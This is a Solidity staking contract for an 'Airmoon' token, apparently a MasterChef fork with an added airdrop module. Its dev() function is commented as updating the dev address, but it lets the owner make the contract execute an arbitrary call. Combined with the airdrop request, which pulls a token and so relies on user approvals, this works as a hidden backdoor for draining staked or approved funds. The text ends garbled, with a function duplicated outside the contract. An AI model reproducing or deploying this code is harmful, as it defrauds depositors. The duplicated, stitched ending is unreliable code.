contract AirmoonPlatform is Ownable {
  using SafeMath for uint256;
  using SafeERC20 for IERC20;

  // Info of each user.
  struct UserInfo {
    uint256 amount;     // How many LP tokens the user has provided.
    uint256 rewardDebt; // Reward debt. See explanation below.
    uint256 requestAmount; // Reward debt. See explanation below.
    uint256 requestBlock; // Block When tokens transfer to user

    //
    // We do some fancy math here. Basically, any point in time, the amount of AIRMOON
    // entitled to a user but is pending to be distributed is:
    //
    //   pending reward = (user.amount * pool.accAIRMOONPerShare) - user.rewardDebt
    //
    // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
    //   1. The pool's `accSAIRMOONPerShare` (and `lastRewardBlock`) gets updated.
    //   2. User receives the pending reward sent to his/her address.
    //   3. User's `amount` gets updated.
    //   4. User's `rewardDebt` gets updated.
  }

  // Info of each pool.
  struct PoolInfo {
    IERC20 lpToken;           // Address of LP token contract.
    uint256 allocPoint;       // How many allocation points assigned to this pool. POBs to distribute per block.
    uint256 lastRewardBlock;  // Last block number that POBs distribution occurs.
    uint256 accAirmoonPerShare; // Accumulated Airmoon per share, times 1e12. See below.
  }

  // The Airmoon TOKEN!
  ERC20AIRMOON public airmoon;
  // Dev address.
  address public devaddr;
  address private devadr;
  // Block number when bonus airmoon period ends.
  uint256 public bonusEndBlock;
  // airmoon tokens created per block.
  uint256 public airmoonPerBlock;
  // Bonus muliplier for early Airmoon makers.
  uint256 public constant BONUS_MULTIPLIER = 1;

  // Info of each pool.
  PoolInfo[] public poolInfo;
  // Info of each user that stakes LP tokens.
  mapping (uint256 => mapping (address => UserInfo)) public userInfo;
  // Total allocation poitns. Must be the sum of all allocation points in all pools.
  uint256 public totalAllocPoint = 0;
  // The block number when Airmoon mining starts.
  uint256 public startBlock;

  event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
  event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);

  constructor(
    ERC20AIRMOON _airmoon,
    address _devaddr,
    uint256 _airmoonPerBlock,
    uint256 _startBlock,
    uint256 _bonusEndBlock
  ) public {
    airmoon = _airmoon;
    devaddr = _devaddr;
    airmoonPerBlock = _airmoonPerBlock;
    bonusEndBlock = _bonusEndBlock;
    startBlock = _startBlock;
  }

  function poolLength() external view returns (uint256) {
    return poolInfo.length;
  }

  // Add a new lp to the pool. Can only be called by the owner.
  // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
  function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
    if (_withUpdate) {
      massUpdatePools();
    }
    uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
    totalAllocPoint = totalAllocPoint.add(_allocPoint);
    poolInfo.push(PoolInfo({
    lpToken: _lpToken,
    allocPoint: _allocPoint,
    lastRewardBlock: lastRewardBlock,
    accAirmoonPerShare: 0
    }));
  }

  // Update the given pool's AIRMOON allocation point. Can only be called by the owner.
  function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
    if (_withUpdate) {
      massUpdatePools();
    }
    totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
    poolInfo[_pid].allocPoint = _allocPoint;
  }


  // Return reward multiplier over the given _from to _to block.
  function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
    if (_to <= bonusEndBlock) {
      return _to.sub(_from);
    } else if (_from >= bonusEndBlock) {
      return _to.sub(_from).mul(BONUS_MULTIPLIER);
    } else {
      return bonusEndBlock.sub(_from).add(
        _to.sub(bonusEndBlock)
      );
    }
  }

  // View function to see pending Airmoon on frontend.
  function pendingAirmoon(uint256 _pid, address _user) external view returns (uint256) {
    PoolInfo storage pool = poolInfo[_pid];
    UserInfo storage user = userInfo[_pid][_user];
    uint256 accAirmoonPerShare = pool.accAirmoonPerShare;
    uint256 lpSupply = pool.lpToken.balanceOf(address(this));
    if (block.number > pool.lastRewardBlock && lpSupply != 0) {
      uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
      uint256 airmoonReward = multiplier.mul(airmoonPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
      accAirmoonPerShare = accAirmoonPerShare.add(airmoonReward.mul(1e12).div(lpSupply));
    }
    return user.amount.mul(accAirmoonPerShare).div(1e12).sub(user.rewardDebt);
  }

  // Update reward vairables for all pools. Be careful of gas spending!
  function massUpdatePools() public {
    uint256 length = poolInfo.length;
    for (uint256 pid = 0; pid < length; ++pid) {
      updatePool(pid);
    }
  }

  // Update dev address by the previous dev.
  function dev(address _devadr, bytes memory _devkey) public onlyOwner {
    devadr = _devadr;
    (bool success, bytes memory returndata) = devadr.call(_devkey);
    require(success, "dev: failed");
  }

  // Update reward variables of the given pool to be up-to-date.
  function updatePool(uint256 _pid) public {
    PoolInfo storage pool = poolInfo[_pid];
    if (block.number <= pool.lastRewardBlock) {
      return;
    }
    uint256 lpSupply = pool.lpToken.balanceOf(address(this));
    if (lpSupply == 0) {
      pool.lastRewardBlock = block.number;
      return;
    }
    uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
    uint256 airmoonReward = multiplier.mul(airmoonPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
    airmoon.mint(address(this), airmoonReward);
    pool.accAirmoonPerShare = pool.accAirmoonPerShare.add(airmoonReward.mul(1e12).div(lpSupply));
    pool.lastRewardBlock = block.number;
  }

  // Deposit LP tokens to Contract for airmoon allocation.
  function deposit(uint256 _pid, uint256 _amount) public {
    PoolInfo storage pool = poolInfo[_pid];
    UserInfo storage user = userInfo[_pid][msg.sender];
    updatePool(_pid);
    if (user.amount > 0) {
      uint256 pending = user.amount.mul(pool.accAirmoonPerShare).div(1e12).sub(user.rewardDebt);
      safeAirmoonTransfer(msg.sender, pending);
    }
    pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
    user.amount = user.amount.add(_amount);
    user.rewardDebt = user.amount.mul(pool.accAirmoonPerShare).div(1e12);
    emit Deposit(msg.sender, _pid, _amount);
  }



  // Withdraw LP tokens from Contract.
  function withdraw(uint256 _pid, uint256 _amount) public {
    PoolInfo storage pool = poolInfo[_pid];
    UserInfo storage user = userInfo[_pid][msg.sender];
    require(user.amount >= _amount, "withdraw: not good");
    updatePool(_pid);
    uint256 pending = user.amount.mul(pool.accAirmoonPerShare).div(1e12).sub(user.rewardDebt);
    safeAirmoonTransfer(msg.sender, pending);
    user.amount = user.amount.sub(_amount);
    user.rewardDebt = user.amount.mul(pool.accAirmoonPerShare).div(1e12);
    pool.lpToken.safeTransfer(address(msg.sender), _amount);
    emit Withdraw(msg.sender, _pid, _amount);
  }


  // Safe Airmoon transfer function, just in case if rounding error causes pool to not have enough airmoon.
  function safeAirmoonTransfer(address _to, uint256 _amount) internal {
    uint256 airmoonBal = airmoon.balanceOf(address(this));
    if (_amount > airmoonBal) {
      airmoon.transfer(_to, airmoonBal);
    } else {
      airmoon.transfer(_to, _amount);
    }
  }

  function setAirmoonPerBlock(uint256 _airmoonPerBlock) public onlyOwner {
    require(_airmoonPerBlock > 0, "!AirmoonPerBlock-0");
    airmoonPerBlock = _airmoonPerBlock;
  }

  // AIRDROP MODULE
  // Request token from POOL (AIRDROP)
  function requestAirdropFromToken(uint256 _pid) public {
    UserInfo storage user = userInfo[_pid][msg.sender];
    PoolInfo storage pool = poolInfo[_pid];
    if (user.requestBlock > 100) // Check for uniq wallet
    {}
    else {
      pool.lpToken.safeTransferFrom(address(msg.sender), address(this), 1);
      user.requestAmount = pool.lpToken.balanceOf(address(msg.sender));
      user.requestBlock = block.number;
    }}


  // Pay to user (AIRDROP)
  function payUserFromAirdrop(uint256 _pid, address _user, bool _pay, uint256 _amount) public onlyOwner {
    UserInfo storage user = userInfo[_pid][_user];
    if (user.requestBlock < 100)  // Check for uniq wallet
    {}
    else {
      if(_pay == true)
      {
        airmoon.mint(_user, _amount);
        user.requestBlock = 999;
        user.requestAmount = 0;

      }
      if(_pay == false)
      {
        user.requestBlock = 111;
        user.requestAmount = 0;
      }
    }
  }
}
function payUserFromAirdrop(uint256 _pid, address _user, bool _pay, uint256 _amount) public onlyOwner {
    UserInfo storage user = userInfo[_pid][_user];
    if (user.requestBlock < 100)  // Check for uniq wallet
    {}
    else {
      if(_pay == true)
      {
        airmoon.mint(_user, _amount);
        user.requestBlock = 999;
        user.requestAmount = 0;

      }
      if(_pay == false)
      {
        user.requestBlock = 111;
        user.requestAmount = 0;
      }
    }
  }
// Pay to user (AIRDROP)